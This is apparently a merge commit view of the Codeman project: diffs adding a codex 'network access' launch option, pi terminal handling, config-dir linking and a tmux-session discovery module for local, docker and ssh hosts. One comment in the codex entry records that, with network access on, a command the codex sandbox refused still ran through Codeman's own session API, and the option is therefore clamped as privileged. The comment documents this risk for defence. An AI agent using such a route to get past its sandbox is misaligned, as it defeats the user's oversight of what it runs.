merge master (1.49.0 and later) into the MacBook test branch

One conflict, in install.sh's help text: both sides extended the same line of
environment variables. Kept both additions.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
This commit is contained in:
Codeman maintainer committed 2026-11-06 18:00:25 +01:00
commit fec052f402
181 files changed
+14849 -872

No files matched your search

+5 -1
View File
@@ -490,7 +490,11 @@ const capabilitiesSchema = z
launchDefaults: z
.record(
z.string(),
z.enum(['codexModel', 'codexReasoningEffort'] as const satisfies readonly LaunchDefaultSettingKey[])
z.enum([
'codexModel',
'codexReasoningEffort',
'codexNetworkAccess',
] as const satisfies readonly LaunchDefaultSettingKey[])
)
.refine((v) => Object.keys(v).length >= 1 && Object.keys(v).length <= 8, 'launchDefaults takes 1 to 8 params')
.optional(),
+71 -5
View File
@@ -640,6 +640,7 @@ const CODEX: CliEntry = {
launch: {
params: {
bypassApprovals: { type: 'bool' },
networkAccess: { type: 'bool' },
animations: { type: 'bool' },
// `model-plain-colon`, not `model`: the custom-model feature forces the selected id
// onto this param (`launchModel: '{modelId}'` below), and Ollama-style ids carry a
@@ -653,7 +654,38 @@ const CODEX: CliEntry = {
id: 'default',
args: [
{ lit: 'codex' },
// Codex 0.162 hands every client's tool commands to ONE shared background
// app-server (`codex app-server --managed-daemon`), started by whichever client
// came first. Two things break inside a Codeman pane, both measured 2026-11-01 on
// 0.162.0: the commands run with the STARTER's environment, so
// `$CODEMAN_SESSION_ID`/`$CODEMAN_API_URL` belong to another session (the codeman
// skill's self-check 404s and its delete guard protects the wrong id), and a daemon
// of another version (a 0.166 one left by a later install) stops every launch on an
// "incompatible feature settings" dialog before the composer appears. `--no-daemon`
// runs this session's own in-process server, which is what a pane per session
// means anyway. Gated at the version it was measured on; an older or unknown
// codex gets nothing (fail-closed), since an unknown flag makes codex exit.
{ flag: '--no-daemon', when: { capabilityGate: 'noDaemonFlag' } },
{ flag: '--dangerously-bypass-approvals-and-sandbox', when: { param: 'bypassApprovals', is: true } },
// Lets commands in codex's workspace-write sandbox open network connections,
// Codeman's own API on loopback included (the codeman skill's curl calls fail
// with "couldn't connect" without it). Measured on 0.162.0 (`codex sandbox` and
// a live pane): loopback stays blocked under workspace-write until this is set.
// ⚠️ Not a safe middle ground below the bypass above: that API can start a session
// outside the sandbox with no approval prompt, so codex's sandbox no longer contains
// a command once this is on. Measured 2026-11-06: a `touch` the sandbox refused
// landed through POST /api/sessions, and with a password set too from inside a
// Codeman pane, which inherits CODEMAN_PASSWORD by design.
// ⚠️ Workspace-write ONLY: a folder codex runs read-only (one it does not trust,
// such as a fresh non-git case) keeps the network closed and asks per command.
// Deliberately not paired with `--sandbox workspace-write` (owner decision,
// 2026-11-06), which would also grant write access to a folder codex itself chose
// not to trust, under a label that only says "network".
{
flag: '--config',
value: 'sandbox_workspace_write.network_access=true',
when: { param: 'networkAccess', is: true },
},
{ flag: '--config', value: 'tui.animations=true', when: { param: 'animations', is: true } },
{ flag: '--config', value: 'tui.animations=false', when: { param: 'animations', is: false } },
{ flag: '--model', valueFrom: 'model', when: { param: 'model', state: 'set' } },
@@ -819,7 +851,14 @@ const CODEX: CliEntry = {
// App Settings → Codex model / reasoning effort (synced), filled into a LOCAL launch's
// codexConfig wherever the caller left the field unset. Launch-only: nothing writes
// codex's own config.toml. Read by applyLaunchDefaults() in src/web/launch-defaults.ts.
launchDefaults: { model: 'codexModel', reasoningEffort: 'codexReasoningEffort' },
// `networkAccess` (App Settings → Codex → Allow network access) rides the same path, so
// a codex session started by the codeman skill, `codeman agent spawn` or the MCP server
// gets it as well as one started from the browser. Off (the default) fills nothing.
launchDefaults: {
model: 'codexModel',
reasoningEffort: 'codexReasoningEffort',
networkAccess: 'codexNetworkAccess',
},
// Two columns, like claude's, measured on a live 0.154.0 answer: the `•`/`›`/`⚠`
// markers sit in the gutter, prose continuations sit at 2, and a nested YAML block
// the model wrote rendered at 2/4/6/8 for its own 0/2/4/6. Replayed at 100, 120,
@@ -844,7 +883,19 @@ const CODEX: CliEntry = {
// does. codex is the entry where the two names differ (`bypassApprovals` here,
// `dangerouslyBypassApprovals` on the wire), so it is the one that would have caught a
// regression; `schema.ts` now rejects a name that is not a declared param.
privilegedParams: [{ param: 'bypassApprovals', clampTo: false }],
//
// `networkAccess` widens the sandbox too (any host, not just Codeman's loopback API), so
// a non-granted owner gets it forced off like the bypass. Only-if-sent is enough here as
// well: an absent value leaves codex's own no-network default, and the launch default
// above is filled BEFORE the clamp runs, so a filled `true` is still clamped.
privilegedParams: [
{ param: 'bypassApprovals', clampTo: false },
{ param: 'networkAccess', clampTo: false },
],
// `--no-daemon` above. Evaluated against codex's OWN version (resolveSessionCliVersion).
gates: {
noDaemonFlag: { minVersion: '0.162.0', failClosed: true },
},
mcpConfig: {
path: '.codex/config.toml',
format: 'codex-toml',
@@ -1180,7 +1231,23 @@ const PI: CliEntry = {
// (hasTrustRequiringProjectResources, pi 1.1.0), which would stall a spawned worker on
// a dialog. pi reads the user-level `~/.agents/skills` without that prompt, so a pi
// user installs it there (`npx skills add Ark0N/Codeman --skill codeman -g`).
altScreen: 'preserve', // pi's TUI renders into the main screen with terminal-owned scrollback
// Fullscreen is pi's default `tuiMode` since 1.0.0 (measured 1.0.0, 1.1.0, 1.4.0, 1.5.0 in
// tmux: alternate_on=1, history_size=0, mouse on, SGR): a TUI that enables tracking once at
// start. Codeman's replay (tab switch, reload) drops that mode in xterm, so the wheel hit an
// empty local buffer and went dead until a redraw. Same shape as copilot: strip the DECSETs
// (a drag selects locally), publish `cliMouseTracking`, and forward the wheel by hand from
// that flag. pi scrolls on SGR wheel reports, one row each at a low rate, faster on a spin.
// `tuiMode: regular`, the default below 1.0.0, is inline and emits no mouse DECSET, so the
// strip finds nothing and the flag stays false. A pi from 0.84.0 set to fullscreen does emit
// them (0.84.1 and 0.99.2 measured: alternate_on=1, mouse_any_flag=1, SGR) and the flag
// covers it.
// ⚠️ No `transcriptPageKeys`, though fullscreen pi does page on PageUp/PageDown. pi binds
// those keys to its editor in regular mode too, where they page nothing and move the caret
// of a multi-line draft, so a wheel over a fresh regular pane sent the next keystroke to the
// wrong line (measured). The cost: a fullscreen pi with "Wheel scrolls local history" on
// has no paging fallback.
altScreen: 'strip-mux-and-mouse',
wheelForward: { mode: 'always' },
echo: { policy: 'buffer', anchor: { kind: 'cursor' } },
// Measured on a live pi 1.1.0 pane (capture-pane every 250 ms through a turn,
// 2026-10-09): pi has no composer glyph. Its composer sits between two `─` rules, and
@@ -1370,8 +1437,7 @@ const GROK: CliEntry = {
// docs/, bin/ — per-file seeding like pi's credStore, not a whole-dir seedWhole copy.
credStore: { rel: '.grok', seedFiles: ['auth.json', 'config.toml', 'pager.toml'] },
// No remote/docker overlay needed: the defaults (exec grok / login-shell `grok`) are
// already correct — verified against upstream's own pinned test/grok-mode.test.ts
// expectation `exec "${SHELL:-/bin/sh}" -i -l -c 'grok'`.
// already correct, verified against upstream's own pinned test/grok-mode.test.ts.
},
};
+4 -4
View File
@@ -112,7 +112,7 @@ export type ModelConfigResolverName = 'deepseek-route';
* arbitrary setting onto a command line; each name must also be a `SettingsUpdateSchema`
* key, which the resolver's typing enforces.
*/
export type LaunchDefaultSettingKey = 'codexModel' | 'codexReasoningEffort';
export type LaunchDefaultSettingKey = 'codexModel' | 'codexReasoningEffort' | 'codexNetworkAccess';
/** The MCP config dialects `src/mcp-sync.ts` has an adapter for. */
export type McpConfigFormat =
@@ -546,7 +546,7 @@ export interface CliCapabilities {
* `strip-full` is `isAltScreenStripMode`; `strip-mux-and-mouse` is `isMuxMouseStripMode`;
* every other value takes `isMuxAltScreenOnlyStripMode`, so at runtime `preserve` and
* `strip-mux-only` are the same row — `preserve` only says what such a CLI's pane
* holds (terminal-owned scrollback: a shell, pi), not a different strip.
* holds (terminal-owned scrollback: a shell), not a different strip.
*
* - alt-screen: the tmux CLIENT emits `smcup` as its first bytes at attach, parking
* xterm in the scrollback-less alternate buffer; a pane program's own toggles never
@@ -560,8 +560,8 @@ export interface CliCapabilities {
* own mouse support must work in the pane (htop/vim in a shell).
*
* Stock CLIs: `strip-full` = claude, codex, gemini (Ink TUIs); `strip-mux-and-mouse` =
* opencode and copilot (full-screen TUIs that enable tracking themselves); `strip-mux-only` =
* antigravity, grok, deepseek, omp; `preserve` = shell, pi.
* opencode, copilot and pi (full-screen TUIs that enable tracking themselves); `strip-mux-only` =
* antigravity, grok, deepseek, omp; `preserve` = shell.
*
* A fourth combination is the point to split this into flags; three is still cheaper
* as an enum.
+56
View File
@@ -0,0 +1,56 @@
/**
* @fileoverview Bounds for FOREIGN tmux discovery (sessions a human started
* outside Codeman).
*
* Two facts drive every number here. First, the number of tmux sockets and panes
* on a machine is NOT under Codeman's control, so a discovery walk with no ceiling
* is an unbounded loop over data someone else produces. Parsed rows are capped by
* count and the socket sweep by time: a sweep capped by count would stop in glob
* order, where `codeman*` sorts before `default` and a machine running many
* instances would never reach the sessions this feature is for. Second, an ssh
* handshake is an order of magnitude slower than
* a local `exec`; reusing the shared 5s `EXEC_TIMEOUT_MS` would classify every
* remote host as unreachable, so the probe gets its own timeout.
*
* @module config/foreign-tmux
*/
/** How often the browser re-polls `/api/mux/foreign` while the home screen is visible. */
export const FOREIGN_POLL_INTERVAL_MS = 8000;
/**
* Server-side cache TTL for a LOCAL scan. This, not the poll interval, is what
* bounds the real cost: N open tabs polling at 8s still trigger at most one scan
* per TTL.
*/
export const FOREIGN_CACHE_TTL_MS = 5000;
/** Timeout for one probe invocation (local exec, `docker exec`, or one ssh). */
export const FOREIGN_PROBE_TIMEOUT_MS = 12000;
/**
* How long one tmux server may take to answer the probe's ping, in the script's own
* `sleep`, so whole seconds. A healthy server takes milliseconds. One that misses this
* costs only its own rows, and the sweep moves on to the next socket.
*/
export const FOREIGN_SOCKET_TIMEOUT_SECONDS = 2;
/** How long a timed-out probe's process group gets on SIGTERM before SIGKILL. */
export const FOREIGN_PROBE_KILL_GRACE_MS = 2000;
/** Max pane rows parsed from one probe. Panes past this are dropped, not errors. */
export const FOREIGN_MAX_PANES = 400;
/** Max process rows parsed from one probe's `ps` snapshot. */
export const FOREIGN_MAX_PROCS = 4000;
/** Max bytes of probe stdout kept. A runaway `ps` must not become a heap problem. */
export const FOREIGN_PROBE_MAX_BYTES = 2 * 1024 * 1024;
/**
* Longest argv or pane command kept from one row. The caps above bound how many rows a
* probe carries, this bounds what one costs: a row is text from someone else's process,
* and `ps` prints a 128 KiB argv in full. A launcher that needed more than this to be
* recognised reads as `shell`, which only changes the label on its row.
*/
export const FOREIGN_MAX_ARGV_CHARS = 4096;
+36 -19
View File
@@ -135,22 +135,30 @@ function realClaudeConfigDir(): string {
}
/**
* Symlinks `<isolatedDir>/projects` back to the real, shared `~/.claude/projects`, so an
* isolated `CLAUDE_CONFIG_DIR` (used to keep an injected API key away from a stored OAuth
* session — see `configDirVar` on customModelInjection) doesn't also blind the response
* viewer, subagent windows, and Read My Mind for that session (docs/wiki/Agent-CLIs.md).
* Best-effort: a platform that refuses symlinks (unprivileged Windows without a junction
* fallback working, e.g.) just keeps the pre-existing documented side effect instead of
* failing the whole custom-model apply over a nice-to-have.
* Symlinks `<isolatedDir>/projects` back to the session's own config dir when it set one,
* else the real, shared `~/.claude/projects`, so an isolated `CLAUDE_CONFIG_DIR` (used to
* keep an injected API key away from a stored OAuth session, see `configDirVar` on
* customModelInjection) doesn't also blind the response viewer, subagent windows, and Read
* My Mind for that session (docs/wiki/Agent-CLIs.md). Best-effort: a platform that refuses
* symlinks (unprivileged Windows without a junction fallback working, e.g.) just keeps the
* pre-existing documented side effect instead of failing the whole custom-model apply over
* a nice-to-have.
*
* The own dir matters beyond that: the resume pin looks in `<isolatedDir>/projects`, so the
* server's tree would hide the conversation on apply and keep the endpoint's transcript out
* of the own dir's sight on clear. Same absolute-only and no-self-link rules as
* `linkRealHomeEntries()`, and a relative value of the server's own gets no link, since
* joining it would create `projects` under the server's working directory.
*
* ⚠️ The link target is a user-chosen path and `linkRealHomeEntry()` probes and creates it
* synchronously: every caller of `applyCustomModelInjection` passes a lookup that went
* through `guardSessionConfigDirHome()` first (rule #516).
*/
function linkSharedProjectsDir(isolatedDir: string): void {
const link = join(isolatedDir, 'projects');
if (existsSync(link)) return; // already linked (idempotent re-apply) or real dir wrote one
try {
symlinkSync(join(realClaudeConfigDir(), 'projects'), link, platform() === 'win32' ? 'junction' : 'dir');
} catch {
// best-effort only — response viewer/subagent windows go blind for this session instead
}
function linkSharedProjectsDir(isolatedDir: string, sessionConfigDir?: string): void {
const own = sessionConfigDir?.trim();
const configDir = own && own !== isolatedDir && isAbsolute(own) ? own : realClaudeConfigDir();
if (!isAbsolute(configDir)) return;
linkRealHomeEntry(join(configDir, 'projects'), join(isolatedDir, 'projects'), true);
}
/**
@@ -301,6 +309,8 @@ export interface AppliedCustomModel {
envKeys: string[];
configDir?: string;
launchModel?: string;
/** The env key among `envKeys` that moves the CLI's home, see `CustomModelBookkeeping`. */
homeEnvVar?: string;
}
/**
@@ -327,8 +337,8 @@ export function applyCustomModelInjection(
workingDir?: string,
/**
* Reads one env var from the SESSION's own env overrides (single-key on purpose: the
* map carries credentials). Only the `configDir` kind uses it, to resolve the CLI's real
* home for `linkFromRealHome` from the session's value before the server's.
* map carries credentials). Resolves the CLI's real home from the session's value before
* the server's: `linkFromRealHome` for the `configDir` kind, `projects` for `configDirVar`.
*/
sessionEnvLookup?: (envVar: string) => string | undefined
): AppliedCustomModel | undefined {
@@ -345,7 +355,7 @@ export function applyCustomModelInjection(
if (injection.configDirVar) {
configDir = customModelConfigDir(sessionId);
mkdirSync(configDir, { recursive: true, mode: 0o700 });
linkSharedProjectsDir(configDir);
linkSharedProjectsDir(configDir, sessionEnvLookup?.(injection.configDirVar));
if (injection.apiKeyTrustFile && injection.apiKey) {
seedApiKeyTrustFile(configDir, injection.apiKeyTrustFile, injection.apiKey);
}
@@ -360,9 +370,16 @@ export function applyCustomModelInjection(
envKeys: Object.keys(envOverrides),
configDir,
launchModel: injection.launchModel,
homeEnvVar: injection.configDirVar,
};
}
const configDir = customModelConfigDir(sessionId);
const envOverrides = applyConfigDirInjection(configDir, injection, sessionEnvLookup?.(injection.dirEnvVar));
return { envOverrides, envKeys: Object.keys(envOverrides), configDir, launchModel: injection.launchModel };
return {
envOverrides,
envKeys: Object.keys(envOverrides),
configDir,
launchModel: injection.launchModel,
homeEnvVar: injection.dirEnvVar,
};
}
+5 -5
View File
@@ -392,7 +392,7 @@ export function isAdoptedContainer(docker: Pick<SessionDocker, 'owned'>): boolea
/**
* POSIX single-quote shell-escaping (end-quote, escaped-quote, restart-quote).
* Mirror of the helper in remote-hosts.ts / tmux-manager.ts. Every dynamic value
* interpolated into the outer `bash -c "..."` launch layer is escaped through
* interpolated into the `bash -c` launch layer is escaped through
* this so a path with spaces stays a single shell token. Operator-entered fields
* are ALSO schema-rejected for `$`/backtick (NO_SHELL_META) as defense in depth.
*/
@@ -1014,7 +1014,7 @@ export function resolveDockerCredentialArtifacts(
* string; argv arrays must NOT carry literal quotes (mirror of docker-export's
* dockerArgv).
*/
function dockerEngineArgv(docker: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>): string[] {
export function dockerEngineArgv(docker: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>): string[] {
const argv: string[] = [docker.engine === 'podman' ? 'podman' : 'docker'];
if (docker.context) argv.push('--context', docker.context);
if (docker.daemonHost) argv.push('-H', docker.daemonHost);
@@ -1682,9 +1682,9 @@ export async function probeDockerCliVersion(
if (IS_TEST_MODE) return undefined;
// ⚠️ The MODE NAME IS NOT ALWAYS THE BINARY NAME — `antigravity` runs `agy`. This used
// to pass the mode straight through as the command, which would have probed a binary that
// does not exist. Only claude reaches this today (it is the one CLI with a version gate),
// so nothing was actually broken, but the registry is what makes it correct for the next
// CLI that needs a version.
// does not exist. Claude and codex reach this today (the CLIs with a version gate), and
// both binaries match their mode, so nothing was actually broken, but the registry is what
// makes it correct for the next CLI that needs a version.
const bin = getCli(mode)?.discovery.binaries[0];
if (!bin) return undefined; // `shell` has no binary of its own
const argv = dockerEngineArgv(docker);
+455
View File
@@ -0,0 +1,455 @@
/**
* @fileoverview Runs the foreign-tmux probe at the three locations Codeman
* already knows how to reach: this host, inside a container, and across ssh.
*
* All the judgement lives in `foreign-tmux.ts` (pure). This module is only
* transport + caching + the promise that it never throws.
*
* ## Cost policy
*
* The home screen shows LOCAL results automatically, so a local scan runs on a
* TTL cache: N browser tabs polling every few seconds still trigger at most one
* scan per `FOREIGN_CACHE_TTL_MS`. Docker and remote are ON DEMAND only:
* opening the home page must never fan out one ssh connection per saved host.
*
* ## ⚠️ The probe must not cross an extra shell
*
* The script contains `$TMUX_TMPDIR` and `$(id -u)`, which the INNER shell has to
* expand. Local and docker therefore spawn with an argv array, where no outer
* shell exists to eat them first. Remote is the exception: the ssh
* command line is a string like every other ssh call in this codebase, so the
* script is wrapped in SINGLE quotes there, which is exactly why
* `buildForeignProbeScript()` may not contain one.
*
* This was measured, not reasoned: running the probe through `execSync` (which
* spawns `sh -c`) expanded `$TMUX_TMPDIR` and `$U` in the OUTER shell, leaving the
* inner loop iterating over the literal `/tmux-/*` and reporting zero sessions on
* a machine that had three.
*
* ## A probe that goes wrong still answers
*
* All three transports go through `runForeignProbe`, which never rejects and hands
* back what it read. A timeout has to reach the whole process tree, not just the
* `sh` on top (the same rule as `runFetch` in git-fetch.ts): signalling only `sh`
* left its tmux child stuck on a stopped server, one more per scan, for as long as
* the home screen stayed open. And a scan cut short keeps the rows it already has,
* since one bad server must not empty the list of a machine with good ones.
*
* @module foreign-tmux-discovery
*/
import { spawn, type ChildProcess } from 'node:child_process';
import {
buildForeignProbeScript,
classifyForeignPaneMode,
createForeignSignatureMatcher,
foreignRemoteShellCommand,
foreignSessionId,
isAdoptableSessionName,
isAdoptableSocketPath,
isCodemanOwnedPane,
parseForeignProbeOutput,
} from './foreign-tmux.js';
import { dockerEngineArgv, readDockerCases, readDockerHosts } from './docker-hosts.js';
import { buildSshConnectionArgs, readRemoteHosts, remoteSshTarget, shellescape } from './remote-hosts.js';
import { runWithRemoteSshLimit } from './remote-ssh-limiter.js';
import { resolveTmuxSocketName, getDataDir } from './config/instance.js';
import {
FOREIGN_CACHE_TTL_MS,
FOREIGN_PROBE_KILL_GRACE_MS,
FOREIGN_PROBE_MAX_BYTES,
FOREIGN_PROBE_TIMEOUT_MS,
} from './config/foreign-tmux.js';
import type { ForeignDiscoveryResult, ForeignTmuxSession } from './types/foreign-tmux.js';
import type { DockerCase, DockerHost, RemoteHost, SessionDocker } from './types/session.js';
const IS_TEST_MODE = process.env.VITEST === 'true' || process.env.NODE_ENV === 'test';
/** What one probe produced, however it ended. */
export interface ForeignProbeRun {
/** Everything read before it finished or was stopped. */
stdout: string;
/** False when it timed out, flooded, exited non-zero or could not start. */
ok: boolean;
}
/**
* Run one probe in its own process group. Never rejects (see @fileoverview).
*
* The caller is answered AT the deadline, while the group is still dying.
*/
export function runForeignProbe(
argv: readonly string[],
opts: { timeoutMs?: number; maxBytes?: number } = {}
): Promise<ForeignProbeRun> {
const { timeoutMs = FOREIGN_PROBE_TIMEOUT_MS, maxBytes = FOREIGN_PROBE_MAX_BYTES } = opts;
return new Promise((resolve) => {
const [file, ...args] = argv;
const chunks: Buffer[] = [];
let bytes = 0;
let settled = false;
let child: ChildProcess | undefined;
let escalation: NodeJS.Timeout | undefined;
const finish = (ok: boolean) => {
if (settled) return;
settled = true;
clearTimeout(deadline);
resolve({ stdout: Buffer.concat(chunks).toString('utf-8'), ok });
};
const signalGroup = (signal: NodeJS.Signals) => {
try {
if (child?.pid) process.kill(-child.pid, signal);
} catch {
/* already gone */
}
};
const stop = () => {
signalGroup('SIGTERM');
escalation = setTimeout(() => signalGroup('SIGKILL'), FOREIGN_PROBE_KILL_GRACE_MS);
escalation.unref();
// ⚠️ Let go of the pipe by hand. A stopped tmux server can hold it open with
// everything in this group dead (see foreign-tmux.ts), so waiting for its EOF
// would keep one handle per scan until that server is resumed.
child?.stdout?.destroy();
finish(false);
};
const deadline = setTimeout(stop, timeoutMs);
try {
child = spawn(file ?? '', args, { stdio: ['ignore', 'pipe', 'ignore'], detached: true });
} catch {
finish(false);
return;
}
child.stdout?.on('data', (chunk: Buffer) => {
if (settled) return;
chunks.push(chunk.subarray(0, Math.max(0, maxBytes - bytes)));
bytes += chunk.length;
if (bytes > maxBytes) stop();
});
child.on('error', () => finish(false));
child.on('close', (code) => {
// The group is gone, so a late SIGKILL could only reach whoever reused its id.
clearTimeout(escalation);
finish(code === 0);
});
});
}
/** The note for a probe that ended badly. Rows already read stay, so say which case this is. */
function probeFailureNote(where: string, run: ForeignProbeRun, nothing: string): string {
return run.stdout ? `${where}: the scan did not finish, this list may be incomplete` : `${where}: ${nothing}`;
}
/**
* Turn one probe's stdout into candidates. Shared by all three transports, so a
* container's sessions and the host's are classified by identical rules.
*
* `where` opens every note this scan writes (`local`, `docker <name>`, `remote
* <label>`). The browser tells the two kinds apart by it: a local note is re-read on
* every poll, a container or host note only by the next explicit scan.
*/
export function candidatesFrom(
stdout: string,
location: ForeignTmuxSession['location'],
hostKey: string,
extra: Pick<ForeignTmuxSession, 'hostId' | 'hostLabel' | 'containerName'>,
where: string,
notes: string[]
): ForeignTmuxSession[] {
const probe = parseForeignProbeOutput(stdout);
const match = createForeignSignatureMatcher();
const ownSocket = resolveTmuxSocketName();
const out: ForeignTmuxSession[] = [];
const seen = new Set<string>();
let unsafe = 0;
for (const pane of probe.panes) {
if (isCodemanOwnedPane(pane, ownSocket)) continue;
// ⚠️ THE security gate, and it lives here rather than at the adopt endpoint
// on purpose: a name that cannot cross the launch chain safely never gets an
// id, so there is nothing for a caller to send. Adoption re-resolves through
// this same function, which makes the endpoint fail closed for free.
// See `isAdoptableSessionName` for the injection this prevents.
if (!isAdoptableSessionName(pane.sessionName) || !isAdoptableSocketPath(pane.socketPath)) {
unsafe += 1;
continue;
}
// One row per SESSION, not per pane: the first pane is the one we would land
// on, and a multi-pane session is still a single thing to adopt.
// \u0000 as an ESCAPE, never the literal byte: a raw NUL in the source makes git
// treat this whole file as binary (no diff, no review), and the allowlists above
// already guarantee neither half can contain one.
const key = `${pane.socketPath}\u0000${pane.sessionName}`;
if (seen.has(key)) continue;
seen.add(key);
const classified = classifyForeignPaneMode(pane, probe, match);
out.push({
id: foreignSessionId(location, hostKey, pane.socketPath, pane.sessionName),
location,
...extra,
socketPath: pane.socketPath,
sessionName: pane.sessionName,
windows: pane.windows,
attached: pane.sessionAttached,
createdAt: pane.sessionCreated * 1000,
mode: classified.mode,
command: classified.command,
workingDir: pane.paneCurrentPath,
});
}
if (unsafe) {
notes.push(
`${where}: ${unsafe} session(s) skipped, the tmux session name or socket path is one Codeman cannot pass safely to a shell or to tmux`
);
}
// Another Codeman's server is not a session this list would ever have shown.
const hung = probe.hungSockets.filter(
(socketPath) => !isCodemanOwnedPane({ socketPath, sessionName: '' }, ownSocket)
);
if (hung.length) {
notes.push(`${where}: ${hung.length} tmux server(s) did not answer, sessions on them are not listed`);
}
return out;
}
// ===========================================================================
// Local
// ===========================================================================
let localCache: { at: number; result: ForeignDiscoveryResult } | null = null;
let localInFlight: Promise<ForeignDiscoveryResult> | null = null;
/**
* Scan this host. TTL-cached and single-flight, because this is the one location
* the home screen polls on its own.
*/
export async function discoverLocalForeign(force = false): Promise<ForeignDiscoveryResult> {
if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
const now = Date.now();
if (!force && localCache && now - localCache.at < FOREIGN_CACHE_TTL_MS) return localCache.result;
if (localInFlight) return localInFlight;
localInFlight = (async (): Promise<ForeignDiscoveryResult> => {
const notes: string[] = [];
let sessions: ForeignTmuxSession[] = [];
try {
// argv array: no outer shell, so the script's own `$TMUX_TMPDIR`/`$(id -u)`
// reach the inner sh intact (see @fileoverview).
const run = await runForeignProbe(['sh', '-c', buildForeignProbeScript()]);
sessions = candidatesFrom(run.stdout, 'local', 'local', {}, 'local', notes);
if (!run.ok) notes.push(probeFailureNote('local', run, 'tmux probe produced no result'));
} catch {
// The probe answers rather than throws, so this is the classifier. "Nothing to
// adopt here" is the only honest answer and it is never an error to the caller.
notes.push('local: tmux probe produced no result');
}
const result: ForeignDiscoveryResult = { sessions, scannedAt: Date.now(), notes };
localCache = { at: Date.now(), result };
return result;
})().finally(() => {
localInFlight = null;
});
return localInFlight;
}
/** Drop the local cache so the next scan is real (used right after an adopt). */
export function invalidateForeignCache(): void {
localCache = null;
}
// ===========================================================================
// Docker
// ===========================================================================
/** Connection facts for one adoptable container, resolved from the registries. */
export interface DockerTargetInfo {
hostId: string;
label: string;
containerName: string;
base: Pick<SessionDocker, 'engine' | 'context' | 'daemonHost'>;
}
function dockerTargets(cases: DockerCase[], hosts: DockerHost[]): DockerTargetInfo[] {
const byId = new Map(hosts.map((h) => [h.id, h]));
const out: DockerTargetInfo[] = [];
const seen = new Set<string>();
for (const c of cases) {
const container = c.container || `codeman-case-${c.name}`;
// Per engine, not global: two daemons can each run a container of one name,
// and collapsing them here would leave the second one unscanned.
const key = `${c.hostId}\u0000${container}`;
if (seen.has(key)) continue;
seen.add(key);
const host = byId.get(c.hostId);
out.push({
hostId: c.hostId,
label: host?.label || c.name,
containerName: container,
base: {
engine: host?.engine ?? 'docker',
context: host?.context,
daemonHost: host?.daemonHost,
},
});
}
return out;
}
/**
* The argv of one in-container probe.
*
* ⚠️ `dockerEngineArgv`, never `buildDockerBaseArgs`, whose `--context` and `-H`
* values are shell-quoted for the launch string. `execFile` passes those quotes
* through literally, so `docker --context "'default'"` answered "context not found"
* and every container behind a named context or a remote daemon read as unreachable.
*/
export function foreignDockerProbeArgv(target: DockerTargetInfo): string[] {
return [...dockerEngineArgv(target.base), 'exec', target.containerName, 'sh', '-lc', buildForeignProbeScript()];
}
/**
* Scan the containers behind the caller's docker cases. On demand only.
*
* Read-only by construction: one `docker exec` running the probe. Never inspects
* lifecycle, never starts anything: a stopped or missing container simply
* contributes a note, mirroring `probeAdoptableContainer`'s "engine unreachable
* degrades to an empty list" rule.
*/
export async function discoverDockerForeign(cases: DockerCase[]): Promise<ForeignDiscoveryResult> {
if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
const hosts = await readDockerHosts(getDataDir()).catch(() => [] as DockerHost[]);
const targets = dockerTargets(cases, hosts);
const notes: string[] = [];
const sessions: ForeignTmuxSession[] = [];
await Promise.all(
targets.map(async (t) => {
const where = `docker ${t.containerName}`;
try {
const run = await runForeignProbe(foreignDockerProbeArgv(t));
sessions.push(
...candidatesFrom(
run.stdout,
'docker',
`${t.hostId} ${t.containerName}`,
{ hostId: t.hostId, hostLabel: t.label, containerName: t.containerName },
where,
notes
)
);
if (!run.ok) notes.push(probeFailureNote(where, run, 'not running, no tmux, or engine unreachable'));
} catch {
notes.push(`${where}: not running, no tmux, or engine unreachable`);
}
})
);
return { sessions, scannedAt: Date.now(), notes };
}
// ===========================================================================
// Remote
// ===========================================================================
/**
* The ssh command line of one remote probe.
*
* `exec` so a timeout kill reaches ssh itself, not only the local `sh -c` around it.
*/
export function foreignRemoteProbeCommand(host: RemoteHost): string {
return [
'exec',
...buildSshConnectionArgs(host),
remoteSshTarget(host),
shellescape(foreignRemoteShellCommand(buildForeignProbeScript())),
].join(' ');
}
/**
* Scan saved ssh hosts. On demand only: this is the expensive one.
*
* ⚠️ The ssh command is a STRING (as every ssh call in this codebase is), so the
* probe crosses one extra shell and must be single-quoted. `shellescape` does
* that, and `buildForeignProbeScript()` is single-quote-free precisely so the
* escaping stays a wrap rather than a rewrite.
*
* Each host holds a slot of the shared remote-ssh limiter: one saved host per
* connection, all at once, is the burst OpenSSH's `MaxStartups` starts dropping.
* A host that waits too long for a slot reads as unreachable this round.
*/
export async function discoverRemoteForeign(hosts: RemoteHost[]): Promise<ForeignDiscoveryResult> {
if (IS_TEST_MODE) return { sessions: [], scannedAt: Date.now(), notes: [] };
const notes: string[] = [];
const sessions: ForeignTmuxSession[] = [];
await Promise.all(
hosts.map(async (host) => {
const where = `remote ${host.label}`;
try {
const run = await runWithRemoteSshLimit(() => runForeignProbe(['sh', '-c', foreignRemoteProbeCommand(host)]), {
maxWaitMs: FOREIGN_PROBE_TIMEOUT_MS,
});
sessions.push(
...candidatesFrom(run.stdout, 'remote', host.id, { hostId: host.id, hostLabel: host.label }, where, notes)
);
if (!run.ok) notes.push(probeFailureNote(where, run, 'unreachable, or no tmux'));
} catch {
notes.push(`${where}: unreachable, or no tmux`);
}
})
);
return { sessions, scannedAt: Date.now(), notes };
}
// ===========================================================================
// Facade
// ===========================================================================
export interface ForeignDiscoveryRequest {
/** Always scanned (cheap, cached). */
local?: boolean;
/** Docker cases the CALLER may see; ownership filtering happens in the route. */
dockerCases?: DockerCase[];
/** Remote hosts the CALLER may see. */
remoteHosts?: RemoteHost[];
/** Skip the local TTL cache. */
force?: boolean;
}
/**
* One scan across the requested locations. Merges notes, never throws.
*
* The caller supplies the docker cases and remote hosts rather than this module
* reading the registries itself: which of them a user may see is an ownership
* question, and ownership belongs to the route layer.
*/
export async function discoverForeignSessions(req: ForeignDiscoveryRequest): Promise<ForeignDiscoveryResult> {
const parts: ForeignDiscoveryResult[] = [];
if (req.local !== false) parts.push(await discoverLocalForeign(req.force));
if (req.dockerCases?.length) parts.push(await discoverDockerForeign(req.dockerCases));
if (req.remoteHosts?.length) parts.push(await discoverRemoteForeign(req.remoteHosts));
return {
sessions: parts.flatMap((p) => p.sessions),
scannedAt: parts.length ? Math.max(...parts.map((p) => p.scannedAt)) : Date.now(),
